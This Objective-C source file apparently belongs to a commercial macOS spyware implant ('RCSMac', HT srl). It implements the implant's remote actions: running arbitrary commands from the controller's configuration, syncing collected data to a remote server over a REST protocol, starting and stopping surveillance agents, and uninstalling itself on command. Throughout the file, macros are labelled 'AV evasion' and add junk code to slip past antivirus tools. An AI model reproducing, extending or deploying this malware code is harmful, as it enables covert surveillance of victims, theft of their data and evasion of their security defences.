/*
 * RCSMac - Actions
 *
 *  Provides all the actions which should be triggered upon an Event
 *
 * Created by Alfredo 'revenge' Pesoli on 11/06/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */
#import "RCSMCommon.h"

#import "RCSMActions.h"
#import "RCSMTaskManager.h"
#import "RCSMInfoManager.h"
#import "RCSMTask.h"
#import "RESTNetworkProtocol.h"

#import "NSMutableDictionary+ThreadSafe.h"

#import "RCSMLogger.h"
#import "RCSMDebug.h"

#import "RCSMAVGarbage.h"

@implementation __m_MActions

- (id)init
{
  self = [super init];
  
  if (self != nil)
    {
      mActionsLock = [[NSLock alloc] init];
      mIsSyncing   = NO;
    }
  
  return self;
}

- (void)dealloc
{
  [mActionsLock release];
  
  [super dealloc];
}

// Done.
- (BOOL)actionUninstall: (NSMutableDictionary *)aConfiguration
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance];
  
  [aConfiguration retain];
  
  [taskManager uninstallMeh];
  
  NSNumber *status = [NSNumber numberWithInt: 0];
  [aConfiguration setObject: status forKey: @"status"];
  
  [aConfiguration release];
  
  [pool release];
  
  return TRUE;
}

- (BOOL)actionAgent: (NSMutableDictionary *)aConfiguration start: (BOOL)aFlag
{ 
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  __m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  [aConfiguration retain];
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  //NSNumber *status;
  NSNumber *status = [NSNumber numberWithInt: 0];
  //status = [aConfiguration objectForKey: @"status"];
  
  //
  // Start/Stop Agent actions got the agentID inside the additional Data
  //
  u_int agentID = 0;
  [[aConfiguration objectForKey: @"data"] getBytes: &agentID];
  
  BOOL success;
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  if (aFlag == TRUE)
  {
    success = [taskManager startAgent: agentID];
  }
  else
  {
    success = [taskManager stopAgent: agentID];
  }
  
  if (success)
  {
    [aConfiguration setObject: status
                       forKey: @"status"];
  }
  else
  {
#ifdef DEBUG_ACTIONS
    errorLog(@"An error occurred while %@ the agent", (aFlag) ? @"Starting" : @"Stopping");
#endif
  }
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [aConfiguration release];
  
  return TRUE;
}

- (BOOL)actionSync: (NSMutableDictionary *)aConfiguration
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [aConfiguration retain];
  BOOL bSuccess = NO;
  BOOL _syncThroughSafariWentOk = NO;
  BOOL _isSyncing;
  NSNumber *status;
  
  NSData *syncConfig = [[aConfiguration objectForKey: @"data"] retain];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  [mActionsLock lock];
  _isSyncing = mIsSyncing;
  [mActionsLock unlock];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  if (_isSyncing == YES)
    {
      while (_isSyncing == YES)
        {
          usleep(600000);
          [mActionsLock lock];
          _isSyncing = mIsSyncing;
          [mActionsLock unlock];
        }
    }
  
  [mActionsLock lock];
  mIsSyncing = YES;
  [mActionsLock unlock];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  status = [NSNumber numberWithInt: ACTION_PERFORMING];
  [aConfiguration setObject: status
                     forKey: @"status"];
  
/*
#if 0
  if (findProcessWithName(@"Safari") == YES)
    {
#ifdef DEBUG_ACTIONS
      warnLog(@"Found Safari for Sync!");
#endif
      
      NSMutableData *agentCommand = [[NSMutableData alloc] initWithLength: sizeof(shMemoryCommand)];
      shMemoryCommand *shMemoryHeader = (shMemoryCommand *)[agentCommand bytes];
      shMemoryHeader->agentID   = OFFT_COMMAND;
      shMemoryHeader->direction = D_TO_AGENT;
      shMemoryHeader->command   = CR_REGISTER_SYNC_SAFARI;
      
      if ([gSharedMemoryCommand writeMemory: agentCommand
                                     offset: OFFT_COMMAND
                              fromComponent: COMP_CORE] == TRUE)
        {
          NSMutableData *readData;
          shMemoryCommand *shMemCommand;
          NSDate *startDate = [[NSDate alloc] init];
          
          while (_syncThroughSafariWentOk == NO)
            {
              readData = [gSharedMemoryCommand readMemory: OFFT_COMMAND
                                            fromComponent: COMP_CORE];
              
              if (readData != nil)
                {
                  shMemCommand = (shMemoryCommand *)[readData bytes];
                  
                  if (shMemCommand->command == IM_CAN_SYNC_SAFARI)
                    {
                      [startDate release];
                      startDate = [[NSDate alloc] init];
                      
                      while (TRUE)
                        {
                          readData = [gSharedMemoryCommand readMemory: OFFT_COMMAND
                                                        fromComponent: COMP_CORE];
                          
                          if (readData != nil)
                            {
                              shMemCommand = (shMemoryCommand *)[readData bytes];
                              
                              if (shMemCommand->command == IM_SYNC_DONE)
                                {
                                  shMemoryHeader->agentID   = OFFT_COMMAND;
                                  shMemoryHeader->direction = D_TO_AGENT;
                                  shMemoryHeader->command   = CR_UNREGISTER_SAFARI_SYNC;
                                  shMemoryHeader->commandDataSize = [syncConfig length];
                                  
                                  memcpy(shMemoryHeader->commandData,
                                         [syncConfig bytes],
                                         [syncConfig length]);
                                  
                                  if ([gSharedMemoryCommand writeMemory: agentCommand
                                                                 offset: OFFT_COMMAND
                                                          fromComponent: COMP_CORE] == TRUE)
                                    {
#ifdef DEBUG_ACTIONS
                                      infoLog(@"Sync through Safari went ok!");
#endif
                                      
                                      _syncThroughSafariWentOk = YES;
                                      
                                      break;
                                    }
                                }
                            }
                          else
                            {
                              if (fabs([[NSDate date] timeIntervalSinceDate: startDate]) >= 3)
                                {
#ifdef DEBUG_ACTIONS
                                  errorLog(@"Timed out while waiting for response from Safari");
#endif
                                  
                                  break;
                                }
                            }
                          
                          usleep(80000);
                        }
                    }
                  else
                    {
#ifdef DEBUG_ACTIONS
                      errorLog(@"Unexpected response from Safari while Syncing!");
#endif
                      
                      break;
                    }
                }
              else
                {
                  if (fabs([[NSDate date] timeIntervalSinceDate: startDate]) >= 3)
                    {
#ifdef DEBUG_ACTIONS
                      errorLog(@"Timed out while waiting for response from Safari");
#endif
                      
                      break;
                    }
                }
              
              usleep(80000);
            }
        }
      
      [agentCommand release];
    }
#endif
  */
  
  if (_syncThroughSafariWentOk == NO)
    {
      /*__m_MCommunicationManager *communicationManager = [[__m_MCommunicationManager alloc]
                                                        initWithConfiguration: syncConfig];
      
      if ([communicationManager performSync] == FALSE)
        {
#ifdef DEBUG_ACTIONS
          errorLog(@"Sync FAILed");
#endif
          status = [NSNumber numberWithInt: ACTION_STANDBY];
          [aConfiguration setObject: status
                             forKey: @"status"];
          
          [mActionsLock lock];
          mIsSyncing = NO;
          [mActionsLock unlock];
          
          [communicationManager release];
          
          return FALSE;
        }
      
      [communicationManager release]; */
      
      // AV evasion: only on release build
      AV_GARBAGE_000
      
      RESTNetworkProtocol *protocol = [[RESTNetworkProtocol alloc]
                                       initWithConfiguration: syncConfig];
      if ([protocol perform] == NO)
        {
          bSuccess = NO;
        }
      else
        {
          bSuccess = YES;
        }
        
      [protocol release];
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  status = [NSNumber numberWithInt: ACTION_STANDBY];
  [aConfiguration setObject: status
                     forKey: @"status"];
  
  [mActionsLock lock];
  mIsSyncing = NO;
  [mActionsLock unlock];
  
  // AV evasion: only on release build
  AV_GARBAGE_006
  
  [syncConfig release];
  [aConfiguration release];
  
  [outerPool release];
  
  return bSuccess;
}

// Done. XXX- fix waituntilExit for task
- (BOOL)actionLaunchCommand: (NSMutableDictionary *)aConfiguration
{
  [aConfiguration retain];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  NSData *configData = [[aConfiguration objectForKey: @"data"] retain];
  
  NSMutableString *commandLine = [[NSMutableString alloc] initWithData: configData
                                                              encoding: NSASCIIStringEncoding];
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  [commandLine replaceOccurrencesOfString: @"$dir$"
                               withString: [[NSBundle mainBundle] bundlePath]
                                  options: NSCaseInsensitiveSearch
                                    range: NSMakeRange(0, [configData length])];

  __m_Task *tsk = [[__m_Task alloc] init];
  
  [tsk performCommand: commandLine];
  
  [tsk release];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  NSNumber *status = [NSNumber numberWithInt: 0];
  [aConfiguration setObject: status forKey: @"status"];

  [configData release];
  [commandLine release];

  [aConfiguration release];

  return TRUE;
}

typedef struct {
  UInt32 enabled;
  UInt32 event;
} action_event_t;

// FIXED-
- (BOOL)actionEvent: (NSMutableDictionary *)aConfiguration
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  NSNumber *newStatus;
  action_event_t *event;
  
  [aConfiguration retain];
  
  event = (action_event_t*)[[aConfiguration objectForKey: @"data"] bytes];
  
  if (event != nil)
  {
    NSMutableDictionary *anEvent = 
    [[[__m_MTaskManager sharedInstance] mEventsList] objectAtIndex: event->event];
    
    @synchronized(anEvent)
    {  
      NSNumber *enabled = [anEvent objectForKey: @"enabled"];
      
      if (enabled != nil)
      {
        if (event->enabled == TRUE) 
        {
          newStatus = [NSNumber numberWithInt: 1];
        }
        else
          newStatus = [NSNumber numberWithInt: 0];
        
        [anEvent setObject: newStatus forKey: @"enabled"];
      }
    }
  }
  
  [aConfiguration release];
  
  [pool release];
  
  return TRUE;
}

// Done.
- (BOOL)actionInfo: (NSMutableDictionary *)aConfiguration
{
  NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  __m_MInfoManager *infoManager = [[__m_MInfoManager alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  [aConfiguration retain];
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  NSData *stringData = [aConfiguration objectForKey: @"data"];
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  NSString *text = [[NSString alloc] initWithData: stringData
                                         encoding: NSUTF16LittleEndianStringEncoding];
  
  [infoManager logActionWithDescription: text];
  
  // AV evasion: only on release build
  AV_GARBAGE_005
  
  [text release];
  [infoManager release];
  [aConfiguration release];

  [pool release];
  
  return TRUE;
}

@end
